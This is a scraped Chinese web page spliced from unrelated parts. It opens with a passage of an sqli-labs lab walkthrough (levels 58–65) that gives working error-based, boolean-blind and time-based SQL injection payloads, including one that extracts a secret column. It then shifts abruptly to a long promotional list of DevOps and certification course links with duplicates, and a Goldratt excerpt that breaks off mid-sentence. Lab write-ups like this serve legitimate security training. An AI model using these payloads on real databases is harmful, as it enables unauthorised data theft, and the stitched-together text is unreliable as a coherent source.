?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_6W8M) from challenges.8edjk8ipbk),0x7e),1)--+
59.sqli-labs第五十九关
五十九关跟五十八关一样应用报错注入,id是整数型。
60.sqli-labs第六十关
六十关依据报错信息可知id参数是双引号加括号。
61.sqli-labs第六十一关
六十一关依据报错信息可知id参数是单引号加两个括号。
62.sqli-labs第六十二关
六十二关不报错表现,能够应用布尔盲注跟时光注入。id参数是单引号加括号。详细代码往上翻
第五关(布尔盲注),第九关(时光注入)
?id=1%27) and if(length((select database()))=10,sleep(5),1)--+ 时光注入,假如呈现耽误表现该数据库名长度是10 ?id=1%27)and length((select database()))=10--+ 布尔盲注
63.sqli-labs第六十三关
六十三关不报错表现,能够应用布尔盲注跟时光注入。id参数是单引号。第五关(布尔盲注),第九关(时光注入)
64.sqli-labs第六十四关
跟后面两关一样,id参数是两个括号的整数型。
65.sqli-labs第六十五关
跟后面关卡差未几,id参数是一个括号的整数型。
66.爬楼
咨询基本功系列第一讲:把读到的知识转化为能力三步法及完美学习的四步法 https://book.douban.com/review/8820627/
咨询基本功系列第二讲:显见是心与学会提问 https://book.douban.com/review/8709052/
咨询基本功系列第三讲:显见不动与信念 https://book.douban.com/review/8524974/
咨询基本功系列第四讲:显见不失与学会讲故事 https://book.douban.com/review/8909761/
咨询基本功系列第五讲:显见无杂与沟通的艺术 https://book.douban.com/review/8573156/
咨询基本功系列第六讲:见性惟真与书面沟通七步法 https://book.douban.com/review/8795275/
咨询基本功系列第七讲:见性无碍与故事思维 https://book.douban.com/review/8471462/
咨询基本功系列第八讲:显见不分与沟通圣经 https://book.douban.com/review/8550605/
咨询基本功系列第九讲:见性超情与深度工作 https://book.douban.com/review/8641784/
咨询基本功系列第十讲:见性离见与完美咨询 https://book.douban.com/review/12493989/
咨询的基本套路、IT咨询基本方法内训课程,欢迎大家收看,收听,收获到咨询的基本功:)
如何一次通过系列:
数字化系列课程:如何一次通过CSA CBP区块链课程 https://www.douban.com/note/821392967/
如何一次通过CSA CDSP数据安全管理专家认证 https://www.douban.com/note/812307427/
如何一次通过DevOps Foundation考试 https://www.douban.com/note/759867840/
如何一次通过ITIL4 Foundation考试https://www.douban.com/note/778661405/
如何一次通过DevOps Master考试 https://www.douban.com/note/660291760/
如何一次通过PMI-ACP https://www.douban.com/note/720287998/
如何一次通过EXIN Scrum Foundation https://www.douban.com/note/769868855/
如何一次通过EXIN Scrum Master https://www.douban.com/note/722250431/
如何一次通过APMG ISO/IEC20000:2018版 LA https://www.douban.com/note/762608725/
如何一次通过CCSK4.0(网盘下载CCSK4.0,送DevSecOps宣言中文翻译版) https://www.douban.com/note/764185464/
如何一次通过EXIN CCC云服务管理专家认证 https://www.douban.com/note/762735674/
敏捷服务管理系列:如何正确理解ITIL4 https://www.douban.com/note/763416570/
敏捷管理课程:业务敏捷的核心是一种组织能力!!!送:业务敏捷报告2020版解析及下载https://www.douban.com/note/794006236/
敏捷服务管理系列:如何正确理解ITIL4 https://www.douban.com/note/763416570/
DevOps沙盘总结系列课程
DevOps凤凰项目沙盘:在线沙盘与感悟(Phoenix Project online):2021年 https://www.douban.com/note/819120725/?_i=7534370up8rKES
DevOps凤凰项目沙盘:2023年业务敏捷演练 https://www.douban.com/note/852352418/?_i=1567693jjLd5WR
DevOps Master凤凰项目沙盘总结:IT涅槃重生之路 https://www.douban.com/note/681066663/
DevOps Master凤凰项目沙盘总结:“IT业务一体化”驱动业务价值 https://www.douban.com/note/662925305/
DevOps Master凤凰项目沙盘总结:高维度系统化思考 https://www.douban.com/note/703020201/
DevOps Master凤凰项目沙盘总结:履霜坚冰至,转型应自强不息 https://www.douban.com/note/700603657/
DevOps Master凤凰项目沙盘总结:一场精益敏捷探索之行 https://www.douban.com/note/645016138/
https://www.douban.com/note/819120725/ DevOps凤凰项目沙盘:在线沙盘与感悟(Phoenix Project online):2021年
DevOps Master凤凰项目沙盘总结:通过DevOps实现IT组织转型 https://www.douban.com/note/693053178/
DevOps Master凤凰项目沙盘总结:DevOps黄金三步法 https://www.douban.com/note/694641377/
DevOps Master凤凰项目沙盘总结:DevOps起始质量之独孤九剑 https://www.douban.com/note/689504940/
DevOps Master凤凰项目沙盘总结:一场百玩不厌的质量感悟 https://www.douban.com/note/629890513/
DevOps Master凤凰项目沙盘总结:DevOps的独孤九剑 https://www.douban.com/note/630638887/
DevOps Master凤凰项目沙盘总结:同理心是DevOps成功关键 https://www.douban.com/note/685838159/
DevOps Master凤凰项目沙盘总结:做最有价值的事 https://www.douban.com/note/681074230/
2020年2月EXIN DevOps及敏捷前置要求与学习路径推荐 https://www.douban.com/note/752263618
DevOps Master课程:DevOps Master教练十二条原则 https://www.douban.com/note/718124778/
DevOps Master课程:DevOps Master教练的三个层次 https://www.douban.com/note/719145305/
DevOps Master课程:招聘DevOps工程师必问的12个问题(送DevOps实现的三个路径) 相关主题 https://www.douban.com/note/709308373/ DevOps Master :
敏捷项目管理ACP中国“黄埔一期” https://www.douban.com/note/728728754/
敏捷项目管理课程:建立持续改进的个人看板 https://www.douban.com/note/745245657/
DevOps Master系列:再论DevOps核心原则CALMS https://www.douban.com/note/731775271/
DevOps Master系列:如何把DevOps与CMMI整合 https://www.douban.com/note/759766513/
https://www.douban.com/note/713613037/ DevOps professional课程:只讲技术之CHEF(1)
https://www.douban.com/note/708968150/ DevOps Master课程总结:知否知否,应是DevOps肥ITIL瘦(送ITIL4前生今世)
https://www.douban.com/note/708218842/ DevOps Master课程总结:学习没有捷径(送DevOps安灯正确方法)
https://www.douban.com/note/694641377/ DevOps Master凤凰项目沙盘总结:DevOps黄金三步法
https://www.douban.com/note/700603657/ DevOps Master凤凰项目沙盘总结:履霜坚冰至,转型应自强不息
https://www.douban.com/note/693053178/ DevOps Master凤凰项目沙盘总结:通过DevOps实现IT组织转型
https://www.douban.com/note/689504940/ DevOps Master凤凰项目沙盘总结:DevOps起始质量之独孤九剑
https://www.douban.com/note/645016138/ DevOps凤凰沙盘:一场精益敏捷探索之行
https://www.douban.com/note/629890513/DevOps凤凰沙盘:一场百玩不厌的质量感悟
https://www.douban.com/note/630638887/DevOps课后总结之DevOps游戏系列-DevOps的独孤九剑
https://www.douban.com/note/637665261/DevOps Master课程:回忆我与DevOps之父Patrick的交流
https://www.douban.com/note/647732431/ DevOps:10本DevOps推荐书及47个DevOps兼容工具
https://www.douban.com/note/647732431/ DevOps:10本DevOps推荐书及47个DevOps兼容工具
https://book.douban.com/review/9110485/ DevOps:转型从正确地认知开始
https://www.douban.com/note/651734552/ DevOps:从I型人才到E型人才
https://www.douban.com/note/651734953/ DevOps:智能服务台是企业不能缺少的基石
https://book.douban.com/review/8928323/ DevOps布道师:终身学习是终身成长的源动力
https://book.douban.com/review/8820627/ 《把读到的知识转化为能力三步法及完美学习的四步法》
https://www.douban.com/note/643862694/ DevOps Master课程:脚踏实地学Pre-Master,一步一个脚印成为DevOps Master
https://book.douban.com/review/8805640/ DevOps布道师为深度工作写的序:深度工作是心身的一种修练方法
https://book.douban.com/review/8795275/ 咨询基本功:咨询顾问基本功之书面沟通及“补充大餐”
https://www.douban.com/note/643251358/ DevOps定义编年史:通过DevOps定义看DevOps发展
https://www.douban.com/note/637838681/ DevOps应用:光大银行DevOps1.0到DevOps2.0研会
https://www.douban.com/note/639093367/ DevOps应用:民生银行IT一体化管理与自动化发展(1)
https://www.douban.com/note/638965340/ DevOps应用:工商银行DevOps进行时
DevOps Master课程:事半功倍的系统化学习 https://www.douban.com/note/717180422/
https://www.douban.com/note/696842302/ DevOps应用:工商银行DevOps进行时(2018年)
https://www.douban.com/note/722820106/ DevOps Master课程:微软 DevOps的成功之路(送中行DevOps三架马车)
https://www.douban.com/note/641427886/ DevOps应用:DevSecOps云下安全与云等保(云博会内容提前曝光)
敏捷项目管理沙盘:一场随需而变的深度体验(1)https://www.douban.com/note/629584594/
站在IT治理Cobit2019角度看DevOps成熟度(COBIT可申请10PDU) https://www.douban.com/note/729309727/
https://www.douban.com/note/646007197/ 敏捷辩论
https://www.douban.com/note/655617439/ 敏捷服务管理:数字化转型核心
https://www.douban.com/note/696148785/ DevOps Master课程总结:IT运维的昨天、今天、明天(IT运维四大“坑”)
DevOps Master:如何一次通过DevOps Master考试 https://www.douban.com/note/660291760/
DevOps Master:课程总结之变更与DevOps集成 https://www.douban.com/note/660466481/
https://www.douban.com/note/830691609/?_i=7188277up8rKES 安全系列:微服务安全是数字化转型必守之城(一)
安全系列:
https://www.douban.com/note/834252216/?_i=7536773up8rKES 安全系列:数据出境安全评估办法与数据安全认证专家(CSA CDSP)
https://www.douban.com/note/830691609/?_i=7537006up8rKES 安全系列:微服务安全是数字化转型必守之城(一)
https://www.douban.com/note/822869736/?_i=7537088up8rKES 云安全系列:CCSK5天课程学习笔记之一为什么要学习云安全管理
艾利·高德拉特 “在瓶颈之外的任何地方作出的改进都是假象,在瓶颈之后作出任何改进都是徒劳的,而在瓶颈之前作出的任何改进则只会导致瓶颈处堆积更多的库存。”
【1】精益管理方法的术语
【2】高维度思考法
【附】高德拉特《目标》五个聚焦步骤:
第一步是确认约束点,直到确定那的确是整个部门层面的约束点,对非约束点的任何改进都只是幻觉,得不到实际任何价值;
第二步是利用约束点,寻找突破这些约束的办法,确保不让约束点浪费任何时间,永远不要让约束点迁就别的资源而干等着,而是应该专注于IT运维部对当前所需完成工作中优先级最高的那一项,一直都要这样;
第三步,使企业或部门的所有其它活动服从于第二步中提出的各种措施;
第四步,具体实施第二步中提出的措施,使第一步中找出的约束环节不再是整个部门的约束点;
第五步,回到步骤1,别让惰性成为约束,持续不断地